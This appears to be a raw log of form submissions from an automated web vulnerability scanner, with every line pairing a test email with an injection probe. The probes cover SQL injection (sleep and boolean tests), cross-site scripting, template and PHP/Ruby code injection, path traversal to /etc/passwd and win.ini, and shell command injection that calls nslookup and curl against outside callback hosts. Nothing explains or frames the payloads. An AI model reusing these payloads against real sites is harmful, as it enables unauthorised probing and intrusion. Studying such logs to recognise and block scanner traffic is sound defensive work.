testing@example.com   @@yXEiE

testing@example.com   555%C0%A7%C0%A2%2527%2522\'\"

testing@example.com   555'"

testing@example.com   555

testing@example.com   555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

testing@example.com   555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

testing@example.com   555HhKm8i1B')) OR 935=(SELECT 935 FROM PG_SLEEP(15))--

testing@example.com   555cuBINAo3') OR 498=(SELECT 498 FROM PG_SLEEP(15))--

testing@example.com   5553Cx6iblY' OR 214=(SELECT 214 FROM PG_SLEEP(15))--

testing@example.com   555-1)) OR 90=(SELECT 90 FROM PG_SLEEP(15))--

testing@example.com   555-1) OR 915=(SELECT 915 FROM PG_SLEEP(15))--

testing@example.com   555-1 OR 603=(SELECT 603 FROM PG_SLEEP(15))--

testing@example.com   555i1mVqmwe')); waitfor delay '0:0:15' --

testing@example.com   555JvibunQG'); waitfor delay '0:0:15' --

testing@example.com   555jfHe1eaF'; waitfor delay '0:0:15' --

testing@example.com   555-1 waitfor delay '0:0:15' --

testing@example.com   555-1)); waitfor delay '0:0:15' --

testing@example.com   555-1); waitfor delay '0:0:15' --

testing@example.com   555-1; waitfor delay '0:0:15' --

testing@example.com   (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

testing@example.com   5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

testing@example.com   5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

testing@example.com   555*if(now()=sysdate(),sleep(15),0)

testing@example.com   -1" OR 3*2>(0+5+675-675) --

testing@example.com   -1" OR 3*2<(0+5+675-675) --

testing@example.com   -1" OR 3+675-675-1=0+0+0+1 --

testing@example.com   -1" OR 2+675-675-1=0+0+0+1 --

testing@example.com   -1' OR 3*2>(0+5+526-526) or 'bS6zgDIN'='

testing@example.com   -1' OR 3*2<(0+5+526-526) or 'bS6zgDIN'='

testing@example.com   -1' OR 3+526-526-1=0+0+0+1 or 'bS6zgDIN'='

testing@example.com   -1' OR 2+526-526-1=0+0+0+1 or 'bS6zgDIN'='

testing@example.com   -1' OR 3*2>(0+5+254-254) --

testing@example.com   -1' OR 3*2<(0+5+254-254) --

testing@example.com   -1' OR 3+254-254-1=0+0+0+1 --

testing@example.com   -1' OR 2+254-254-1=0+0+0+1 --

testing@example.com   -1 OR 3*2>(0+5+138-138)

testing@example.com   -1 OR 3*2<(0+5+138-138)

testing@example.com   -1 OR 3+138-138-1=0+0+0+1

testing@example.com   -1 OR 2+138-138-1=0+0+0+1

testing@example.com   -1 OR 3*2>(0+5+547-547) --

testing@example.com   -1 OR 3*2<(0+5+547-547) --

testing@example.com   -1 OR 3+547-547-1=0+0+0+1 --

testing@example.com   -1 OR 2+547-547-1=0+0+0+1 --

testing@example.com   555

testing@example.com   555

testing@example.com   555

testing@example.com   555

testing@example.com   555

testing@example.com   555

testing@example.com   555<iframe src="9652.com"></iframe>

testing@example.com   555

testing@example.com   555R6qYJ

testing@example.com   555}body{zzz:Expre/**/SSion(ZSEJ(9581))}

testing@example.com   <a></a>

testing@example.com   <a href="http://xss.bxss.me"></a>

testing@example.com   555<input>

testing@example.com   %F6<img>

testing@example.com   555&lt;ScRiPt&gt;ZSEJ(9935)&lt;/sCripT&gt;

testing@example.com   555\u003CScRiPt\ZSEJ(9862)\u003C/sCripT\u003E

testing@example.com   %35%35%35%3C%53%63%52%69%50%74%20%3E%5A%53%45%4A%289184%29%3C%2F%73%43%72%69%70%54%3E

testing@example.com   555<img src="&gt;">

testing@example.com   555<img src="xyz">

testing@example.com   555<img src="//xss.bxss.me/t/dot.gif">

testing@example.com   555

testing@example.com   555<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

testing@example.com   555<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

testing@example.com   555

testing@example.com   555&lt;ScRiPt &gt;ZSEJ(9486)

testing@example.com   555

testing@example.com   555

testing@example.com   555IpT&gt;

testing@example.com   5559430

testing@example.com   555

testing@example.com   555

testing@example.com   555

testing@example.com   "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

testing@example.com   dfb__${98991*97996}__::.x

testing@example.com   dfb[[${98991*97996}]]xca

testing@example.com   dfb{{98991*97996}}xca

testing@example.com   555

testing@example.com   1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

testing@example.com   555

testing@example.com  

testing@example.com   555

testing@example.com   &lt;%={{={@{#{${dfb}}%&gt;

testing@example.com   '.print(md5(31337)).'

testing@example.com   ${@print(md5(31337))}\

testing@example.com   bfgx8641%C0%BEz1%C0%BCz2a%90bcxhjl8641

testing@example.com   ${@print(md5(31337))}

testing@example.com   ${9999968+9999526}

testing@example.com   bfg3935＜s1﹥s2ʺs3ʹhjl3935

testing@example.com   ";print(md5(31337));$a="

testing@example.com   5559396523

testing@example.com   ';print(md5(31337));$a='

testing@example.com   555

testing@example.com   '"()&amp;%

testing@example.com   ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

testing@example.com   555'"()&amp;%

testing@example.com   index.php/.

testing@example.com   'A'.concat(70-3).concat(22*4).concat(97).concat(89).concat(111).concat(86)+(require'socket' Socket.gethostbyname('hitfx'+'nmooremra8f28.bxss.me.')[3].to_s)

testing@example.com  

testing@example.com   '+'A'.concat(70-3).concat(22*4).concat(113).concat(79).concat(121).concat(68)+(require'socket' Socket.gethostbyname('hitii'+'ypqazpoed625c.bxss.me.')[3].to_s)+'

testing@example.com   index.php

testing@example.com   "+"A".concat(70-3).concat(22*4).concat(120).concat(88).concat(104).concat(66)+(require"socket" Socket.gethostbyname("hitcg"+"jxzdmngdd7c06.bxss.me.")[3].to_s)+"

testing@example.com   index.php

testing@example.com   '"

testing@example.com   bxss.me/t/xss.html?%00

testing@example.com   bxss.me

testing@example.com   HttP://bxss.me/t/xss.html?%00

testing@example.com   c:/windows/win.ini

testing@example.com   gethostbyname(lc('hitnq'.'mdclvuex09c9b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(65).chr(108).chr(70)

testing@example.com   ../../../../../../../../../../../../../../etc/shells

testing@example.com   ".gethostbyname(lc("hitap"."fdkufuhfe1a90.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(78).chr(117).chr(78)."

testing@example.com   /etc/shells

testing@example.com   http://bxss.me/t/fit.txt?.jpg

testing@example.com   '.gethostbyname(lc('hitfi'.'blgzkueqc4cca.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(66).chr(120).chr(80).'

testing@example.com   Http://bxss.me/t/fit.txt

testing@example.com   1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

testing@example.com   http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

testing@example.com   555"||sleep(27*1000)*ktlmqm||"

testing@example.com   555'||sleep(27*1000)*mmitgy||'

testing@example.com   555"&amp;&amp;sleep(27*1000)*abckse&amp;&amp;"

testing@example.com   555'&amp;&amp;sleep(27*1000)*ohzbte&amp;&amp;'

testing@example.com   &amp;(nslookup${IFS}-q${IFS}cname${IFS}hithrnpllvzyr6b4ed.bxss.me||curl${IFS}hithrnpllvzyr6b4ed.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hithrnpllvzyr6b4ed.bxss.me||curl${IFS}hithrnpllvzyr6b4ed.bxss.me)&amp;`'

testing@example.com   '"()

testing@example.com   |(nslookup${IFS}-q${IFS}cname${IFS}hitwtcoewiatr0e285.bxss.me||curl${IFS}hitwtcoewiatr0e285.bxss.me)

testing@example.com   555

testing@example.com   ;(nslookup -q=cname hitfsitkkchutc4885.bxss.me||curl hitfsitkkchutc4885.bxss.me)|(nslookup -q=cname hitfsitkkchutc4885.bxss.me||curl hitfsitkkchutc4885.bxss.me)&amp;(nslookup -q=cname hitfsitkkchutc4885.bxss.me||curl hitfsitkkchutc4885.bxss.me)

testing@example.com   `(nslookup -q=cname hitekmxfpizps4468e.bxss.me||curl hitekmxfpizps4468e.bxss.me)`

testing@example.com   |(nslookup -q=cname hituyekxuonqf12687.bxss.me||curl hituyekxuonqf12687.bxss.me)

testing@example.com   &amp;(nslookup -q=cname hitoowdedohio69d1b.bxss.me||curl hitoowdedohio69d1b.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitoowdedohio69d1b.bxss.me||curl hitoowdedohio69d1b.bxss.me)&amp;`'

testing@example.com   &amp;nslookup -q=cname hitmupuulabzc88714.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitmupuulabzc88714.bxss.me&amp;`'

testing@example.com   $(nslookup -q=cname hitfseocsrbdy0b6e8.bxss.me||curl hitfseocsrbdy0b6e8.bxss.me)

testing@example.com   ./555

testing@example.com   555

testing@example.com   (nslookup -q=cname hithcekgxsofo84982.bxss.me||curl hithcekgxsofo84982.bxss.me))

testing@example.com   ../555

testing@example.com   555

testing@example.com   expr 9000376442 - 954741

testing@example.com   ^(#$!@#$)(()))******

testing@example.com   555|echo fzlyne$()\ dyyfut\nz^xyu||a #' |echo fzlyne$()\ dyyfut\nz^xyu||a #|" |echo fzlyne$()\ dyyfut\nz^xyu||a #

testing@example.com   !(()&amp;&amp;!|*|*|

testing@example.com   |echo dxqowq$()\ gbziuw\nz^xyu||a #' |echo dxqowq$()\ gbziuw\nz^xyu||a #|" |echo dxqowq$()\ gbziuw\nz^xyu||a #

testing@example.com   file:///etc/passwd

testing@example.com   )

testing@example.com   ../../../../../../../../../../../../../../windows/win.ini

testing@example.com   555&amp;echo xllkwu$()\ reetit\nz^xyu||a #' &amp;echo xllkwu$()\ reetit\nz^xyu||a #|" &amp;echo xllkwu$()\ reetit\nz^xyu||a #

testing@example.com   ../../../../../../../../../../../../../../etc/passwd

testing@example.com   &amp;echo ukqlxq$()\ inxanb\nz^xyu||a #' &amp;echo ukqlxq$()\ inxanb\nz^xyu||a #|" &amp;echo ukqlxq$()\ inxanb\nz^xyu||a #

testing@example.com   echo ieqcqe$()\ apjiwg\nz^xyu||a #' &amp;echo ieqcqe$()\ apjiwg\nz^xyu||a #|" &amp;echo ieqcqe$()\ apjiwg\nz^xyu||a #

testing@example.com   555

testing@example.com   redirtest.acx

testing@example.com   555

testing@example.com   +response.write(9166794*9598715)'

testing@example.com   &lt;% response.write(9166794*9598715) %&gt;

testing@example.com   "+response.write(9166794*9598715)+"

testing@example.com   '+response.write(9166794*9598715)+'

testing@example.com   response.write(9166794*9598715)

testing@example.com   555

testing@example.com   /../../../../../../../../../../windows/system32/BITSADMIN.exe

testing@example.com   555

testing@example.com   20

testing@example.com   20

testing@example.com   @@FfxZu

testing@example.com   20����%2527%2522\'\"

testing@example.com   20'"

testing@example.com   20

testing@example.com   20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

testing@example.com   20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

testing@example.com   20ZGng9Iqs')) OR 105=(SELECT 105 FROM PG_SLEEP(15))--

testing@example.com   20zj4h9yfa') OR 847=(SELECT 847 FROM PG_SLEEP(15))--

testing@example.com   20U7dFfbcv' OR 83=(SELECT 83 FROM PG_SLEEP(15))--

testing@example.com   20-1)) OR 930=(SELECT 930 FROM PG_SLEEP(15))--

testing@example.com   20-1) OR 991=(SELECT 991 FROM PG_SLEEP(15))--

testing@example.com   20-1 OR 274=(SELECT 274 FROM PG_SLEEP(15))--

testing@example.com   20nkjwWDs1')); waitfor delay '0:0:15' --

testing@example.com   20LdTVzOgP'); waitfor delay '0:0:15' --

testing@example.com   20Je9YnYH9'; waitfor delay '0:0:15' --

testing@example.com   20-1 waitfor delay '0:0:15' --

testing@example.com   20-1)); waitfor delay '0:0:15' --

testing@example.com   20-1); waitfor delay '0:0:15' --

testing@example.com   20-1; waitfor delay '0:0:15' --

testing@example.com   (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

testing@example.com   200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

testing@example.com   200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

testing@example.com   20*if(now()=sysdate(),sleep(15),0)

testing@example.com   -1" OR 3*2&gt;(0+5+735-735) --

testing@example.com   -1" OR 3*2&lt;(0+5+735-735) --

testing@example.com   -1" OR 3+735-735-1=0+0+0+1 --

testing@example.com   -1" OR 2+735-735-1=0+0+0+1 --

testing@example.com   -1' OR 3*2&gt;(0+5+977-977) or '724xTYJA'='

testing@example.com   -1' OR 3*2&lt;(0+5+977-977) or '724xTYJA'='

testing@example.com   -1' OR 3+977-977-1=0+0+0+1 or '724xTYJA'='

testing@example.com   -1' OR 2+977-977-1=0+0+0+1 or '724xTYJA'='

testing@example.com   -1' OR 3*2&gt;(0+5+809-809) --

testing@example.com   -1' OR 3*2&lt;(0+5+809-809) --

testing@example.com   -1' OR 3+809-809-1=0+0+0+1 --

testing@example.com   -1' OR 2+809-809-1=0+0+0+1 --

testing@example.com   -1 OR 3*2&gt;(0+5+374-374)

testing@example.com   -1 OR 3*2&lt;(0+5+374-374)

testing@example.com   -1 OR 3+374-374-1=0+0+0+1

testing@example.com   -1 OR 2+374-374-1=0+0+0+1

testing@example.com   -1 OR 3*2&gt;(0+5+985-985) --

testing@example.com   -1 OR 3*2&lt;(0+5+985-985) --

testing@example.com   -1 OR 3+985-985-1=0+0+0+1 --

testing@example.com   -1 OR 2+985-985-1=0+0+0+1 --

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20<iframe src="9971.com"></iframe>

testing@example.com   20

testing@example.com   20R2oE3

testing@example.com   20}body{zzz:Expre/**/SSion(9Vkj(9462))}

testing@example.com   <a></a>

testing@example.com   <a href="http://xss.bxss.me"></a>

testing@example.com   20<input>

testing@example.com   �<img>

testing@example.com   20&lt;ScRiPt&gt;9Vkj(9553)&lt;/sCripT&gt;

testing@example.com   20\u003CScRiPt\9Vkj(9983)\u003C/sCripT\u003E

testing@example.com   %32%30%3C%53%63%52%69%50%74%20%3E%39%56%6B%6A%289770%29%3C%2F%73%43%72%69%70%54%3E

testing@example.com   20<img src="&gt;">

testing@example.com   20<img src="xyz">

testing@example.com   20<img src="//xss.bxss.me/t/dot.gif">

testing@example.com   20

testing@example.com   20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

testing@example.com   20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

testing@example.com   20

testing@example.com   20&lt;ScRiPt &gt;9Vkj(9399)

testing@example.com   20

testing@example.com   20

testing@example.com   20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%39%56%6B%6A%28%39%34%33%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

testing@example.com   209541

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

testing@example.com   dfb__${98991*97996}__::.x

testing@example.com   dfb[[${98991*97996}]]xca

testing@example.com   dfb{{98991*97996}}xca

testing@example.com   20

testing@example.com   1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

testing@example.com   20

testing@example.com  

testing@example.com   20

testing@example.com   &lt;%={{={@{#{${dfb}}%&gt;

testing@example.com   bfgx7226%C0%BEz1%C0%BCz2a%90bcxhjl7226

testing@example.com   bfg1504%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl1504

testing@example.com   209457522

testing@example.com   20

testing@example.com   '"()&amp;%

testing@example.com   ${9999419+9999765}

testing@example.com   20'"()&amp;%

testing@example.com   20

testing@example.com   'A'.concat(70-3).concat(22*4).concat(116).concat(88).concat(113).concat(81)+(require'socket' Socket.gethostbyname('hitey'+'unjnwfcvb27b0.bxss.me.')[3].to_s)

testing@example.com   '+'A'.concat(70-3).concat(22*4).concat(122).concat(84).concat(119).concat(84)+(require'socket' Socket.gethostbyname('hitna'+'nwcoxrpp5fd3e.bxss.me.')[3].to_s)+'

testing@example.com  

testing@example.com   '.print(md5(31337)).'

testing@example.com   bxss.me

testing@example.com   "+"A".concat(70-3).concat(22*4).concat(109).concat(82).concat(106).concat(75)+(require"socket" Socket.gethostbyname("hitbg"+"kuflklth76014.bxss.me.")[3].to_s)+"

testing@example.com   '"

testing@example.com   20

testing@example.com   ${@print(md5(31337))}\

testing@example.com   c:/windows/win.ini

testing@example.com   ${@print(md5(31337))}

testing@example.com   20"||sleep(27*1000)*exbbvs||"

testing@example.com   ../../../../../../../../../../../../../../etc/shells

testing@example.com   ";print(md5(31337));$a="

testing@example.com   20'||sleep(27*1000)*qejeay||'

testing@example.com   /etc/shells

testing@example.com   ';print(md5(31337));$a='

testing@example.com   20"&amp;&amp;sleep(27*1000)*lortqn&amp;&amp;"

testing@example.com   http://bxss.me/t/fit.txt%3F.jpg

testing@example.com   ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

testing@example.com   20'&amp;&amp;sleep(27*1000)*wsdcnw&amp;&amp;'

testing@example.com   Http://bxss.me/t/fit.txt

testing@example.com   '"()

testing@example.com   1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

testing@example.com   http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

testing@example.com   20

testing@example.com   bxss.me/t/xss.html?%00

testing@example.com   gethostbyname(lc('hitww'.'qututiylb9a49.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(83).chr(114).chr(70)

testing@example.com   HttP://bxss.me/t/xss.html?%00

testing@example.com   ".gethostbyname(lc("hitpd"."evctmigl96528.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(89).chr(103).chr(75)."

testing@example.com   '.gethostbyname(lc('hitsg'.'iiypufqw7cc94.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(70).chr(101).chr(65).'

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   ^(#$!@#$)(()))******

testing@example.com   !(()&amp;&amp;!|*|*|

testing@example.com   &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitimmbjlctdo12c14.bxss.me||curl${IFS}hitimmbjlctdo12c14.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitimmbjlctdo12c14.bxss.me||curl${IFS}hitimmbjlctdo12c14.bxss.me)&amp;`'

testing@example.com   )

testing@example.com   |(nslookup${IFS}-q${IFS}cname${IFS}hitegewlimvhx3b043.bxss.me||curl${IFS}hitegewlimvhx3b043.bxss.me)

testing@example.com   20

testing@example.com   ;(nslookup -q=cname hitmbtosucnkh1efa3.bxss.me||curl hitmbtosucnkh1efa3.bxss.me)|(nslookup -q=cname hitmbtosucnkh1efa3.bxss.me||curl hitmbtosucnkh1efa3.bxss.me)&amp;(nslookup -q=cname hitmbtosucnkh1efa3.bxss.me||curl hitmbtosucnkh1efa3.bxss.me)

testing@example.com   `(nslookup -q=cname hityognwmhhga751aa.bxss.me||curl hityognwmhhga751aa.bxss.me)`

testing@example.com   |(nslookup -q=cname hitywatqahbjc8f228.bxss.me||curl hitywatqahbjc8f228.bxss.me)

testing@example.com   redirtest.acx

testing@example.com   &amp;(nslookup -q=cname hitgevkjplyre9c5eb.bxss.me||curl hitgevkjplyre9c5eb.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitgevkjplyre9c5eb.bxss.me||curl hitgevkjplyre9c5eb.bxss.me)&amp;`'

testing@example.com   &amp;nslookup -q=cname hitixmpufatwubb0c6.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitixmpufatwubb0c6.bxss.me&amp;`'

testing@example.com   20

testing@example.com   $(nslookup -q=cname hitgrovzqhkcv8b8bc.bxss.me||curl hitgrovzqhkcv8b8bc.bxss.me)

testing@example.com   (nslookup -q=cname hitzodtvtcsjs66d0c.bxss.me||curl hitzodtvtcsjs66d0c.bxss.me))

testing@example.com   ./20

testing@example.com   20

testing@example.com   expr 9000335533 - 936551

testing@example.com   ../20

testing@example.com   20|echo grgdmp$()\ imcfea\nz^xyu||a #' |echo grgdmp$()\ imcfea\nz^xyu||a #|" |echo grgdmp$()\ imcfea\nz^xyu||a #

testing@example.com   20

testing@example.com   |echo pwmwqr$()\ cwsgct\nz^xyu||a #' |echo pwmwqr$()\ cwsgct\nz^xyu||a #|" |echo pwmwqr$()\ cwsgct\nz^xyu||a #

testing@example.com   file:///etc/passwd

testing@example.com   20&amp;echo sqnqnn$()\ otowmu\nz^xyu||a #' &amp;echo sqnqnn$()\ otowmu\nz^xyu||a #|" &amp;echo sqnqnn$()\ otowmu\nz^xyu||a #

testing@example.com   20

testing@example.com   ../../../../../../../../../../../../../../windows/win.ini

testing@example.com   ../../../../../../../../../../../../../../etc/passwd

testing@example.com   &amp;echo nivnly$()\ fimyph\nz^xyu||a #' &amp;echo nivnly$()\ fimyph\nz^xyu||a #|" &amp;echo nivnly$()\ fimyph\nz^xyu||a #

testing@example.com   echo mddaxy$()\ pahlsq\nz^xyu||a #' &amp;echo mddaxy$()\ pahlsq\nz^xyu||a #|" &amp;echo mddaxy$()\ pahlsq\nz^xyu||a #

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   @@Q0f3J

testing@example.com   +response.write(9005174*9881600)'

testing@example.com   20����%2527%2522\'\"

testing@example.com   &lt;% response.write(9005174*9881600) %&gt;

testing@example.com   20'"

testing@example.com   "+response.write(9005174*9881600)+"

testing@example.com   20

testing@example.com   '+response.write(9005174*9881600)+'

testing@example.com   20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

testing@example.com   response.write(9005174*9881600)

testing@example.com   /../../../../../../../../../../windows/system32/BITSADMIN.exe

testing@example.com   20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

testing@example.com   209xUXHzhQ')) OR 130=(SELECT 130 FROM PG_SLEEP(15))--

testing@example.com   20w3TVJwEa') OR 742=(SELECT 742 FROM PG_SLEEP(15))--

testing@example.com   208IAMH4KU' OR 429=(SELECT 429 FROM PG_SLEEP(15))--

testing@example.com   20-1)) OR 60=(SELECT 60 FROM PG_SLEEP(15))--

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20-1) OR 105=(SELECT 105 FROM PG_SLEEP(15))--

testing@example.com   20

testing@example.com   20-1 OR 385=(SELECT 385 FROM PG_SLEEP(15))--

testing@example.com   20vg8sxTWi')); waitfor delay '0:0:15' --

testing@example.com   20FUQ1wWXP'); waitfor delay '0:0:15' --

testing@example.com   20xDq68bR1'; waitfor delay '0:0:15' --

testing@example.com   20-1 waitfor delay '0:0:15' --

testing@example.com   20-1)); waitfor delay '0:0:15' --

testing@example.com   20-1); waitfor delay '0:0:15' --

testing@example.com   20-1; waitfor delay '0:0:15' --

testing@example.com   (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

testing@example.com   200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

testing@example.com   200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

testing@example.com   20*if(now()=sysdate(),sleep(15),0)

testing@example.com   -1" OR 3*2&gt;(0+5+159-159) --

testing@example.com   -1" OR 3*2&lt;(0+5+159-159) --

testing@example.com   -1" OR 3+159-159-1=0+0+0+1 --

testing@example.com   -1" OR 2+159-159-1=0+0+0+1 --

testing@example.com   -1' OR 3*2&gt;(0+5+222-222) or 'x98ingRU'='

testing@example.com   -1' OR 3*2&lt;(0+5+222-222) or 'x98ingRU'='

testing@example.com   -1' OR 3+222-222-1=0+0+0+1 or 'x98ingRU'='

testing@example.com   -1' OR 2+222-222-1=0+0+0+1 or 'x98ingRU'='

testing@example.com   -1' OR 3*2&gt;(0+5+120-120) --

testing@example.com   -1' OR 3*2&lt;(0+5+120-120) --

testing@example.com   -1' OR 3+120-120-1=0+0+0+1 --

testing@example.com   -1' OR 2+120-120-1=0+0+0+1 --

testing@example.com   -1 OR 3*2&gt;(0+5+56-56)

testing@example.com   -1 OR 3*2&lt;(0+5+56-56)

testing@example.com   -1 OR 3+56-56-1=0+0+0+1

testing@example.com   -1 OR 2+56-56-1=0+0+0+1

testing@example.com   -1 OR 3*2&gt;(0+5+928-928) --

testing@example.com   -1 OR 3*2&lt;(0+5+928-928) --

testing@example.com   -1 OR 3+928-928-1=0+0+0+1 --

testing@example.com   -1 OR 2+928-928-1=0+0+0+1 --

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   20<iframe src="9719.com"></iframe>

testing@example.com   20

testing@example.com   20A8pm6

testing@example.com   20}body{zzz:Expre/**/SSion(EvSY(9144))}

testing@example.com   <a></a>

testing@example.com   <a href="http://xss.bxss.me"></a>

testing@example.com   20<input>

testing@example.com   �<img>

testing@example.com   20&lt;ScRiPt&gt;EvSY(9593)&lt;/sCripT&gt;

testing@example.com   20\u003CScRiPt\EvSY(9283)\u003C/sCripT\u003E

testing@example.com   %32%30%3C%53%63%52%69%50%74%20%3E%45%76%53%59%289621%29%3C%2F%73%43%72%69%70%54%3E

testing@example.com   20<img src="&gt;">

testing@example.com   20<img src="xyz">

testing@example.com   20<img src="//xss.bxss.me/t/dot.gif">

testing@example.com   20

testing@example.com   20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

testing@example.com   20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

testing@example.com   20

testing@example.com   20&lt;ScRiPt &gt;EvSY(9022)

testing@example.com   20

testing@example.com   20

testing@example.com   20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%45%76%53%59%28%39%34%31%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

testing@example.com   209186

testing@example.com   20

testing@example.com   20

testing@example.com   20

testing@example.com   "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

testing@example.com   dfb__${98991*97996}__::.x

testing@example.com   dfb[[${98991*97996}]]xca

testing@example.com   dfb{{98991*97996}}xca

testing@example.com   20

testing@example.com   1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

testing@example.com   20

testing@example.com  

testing@example.com   20

testing@example.com   &lt;%={{={@{#{${dfb}}%&gt;

testing@example.com   bfgx1075%C0%BEz1%C0%BCz2a%90bcxhjl1075

testing@example.com   bfg5508%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5508

testing@example.com   209873758

testing@example.com   '"()&amp;%

testing@example.com   20'"()&amp;%

testing@example.com   ${10000233+9999730}

testing@example.com   20

testing@example.com   12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡

testing@example.com   20

testing@example.com   20

testing@example.com  

testing@example.com   20

testing@example.com   '"

testing@example.com   20"||sleep(27*1000)*xmtbhs||"

testing@example.com   20'||sleep(27*1000)*thndtr||'

testing@example.com   20"&amp;&amp;sleep(27*1000)*fqgpby&amp;&amp;"

testing@example.com   '.print(md5(31337)).'

testing@example.com   20'&amp;&amp;sleep(27*1000)*kpxddl&amp;&amp;'

testing@example.com   ${@print(md5(31337))}\

testing@example.com   'A'.concat(70-3).concat(22*4).concat(110).concat(66).concat(98).concat(82)+(require'socket' Socket.gethostbyname('hitng'+'hzykadjs22a24.bxss.me.')[3].to_s)

testing@example.com   '"()

testing@example.com   '+'A'.concat(70-3).concat(22*4).concat(116).concat(74).concat(117).concat(81)+(require'socket' Socket.gethostbyname('hitax'+'fynjihaeb79dc.bxss.me.')[3].to_s)+'

testing@example.com   20

testing@example.com   "+"A".concat(70-3).concat(22*4).concat(107).concat(74).concat(121).concat(66)+(require"socket" Socket.gethostbyname("hitvs"+"dbdjeord28906.bxss.me.")[3].to_s)+"

testing@example.com   bxss.me

testing@example.com   ${@print(md5(31337))}

testing@example.com   ";print(md5(31337));$a="

testing@example.com   c:/windows/win.ini

testing@example.com   ';print(md5(31337));$a='

testing@example.com   ../../../../../../../../../../../../../../etc/shells

testing@example.com   /etc/shells

testing@example.com   http://bxss.me/t/fit.txt%3F.jpg

testing@example.com   Http://bxss.me/t/fit.txt

testing@example.com   1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

testing@example.com   &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitgvnylaesty889dd.bxss.me||curl${IFS}hitgvnylaesty889dd.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitgvnylaesty889dd.bxss.me||curl${IFS}hitgvnylaesty889dd.bxss.me)&amp;`'

testing@example.com   http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

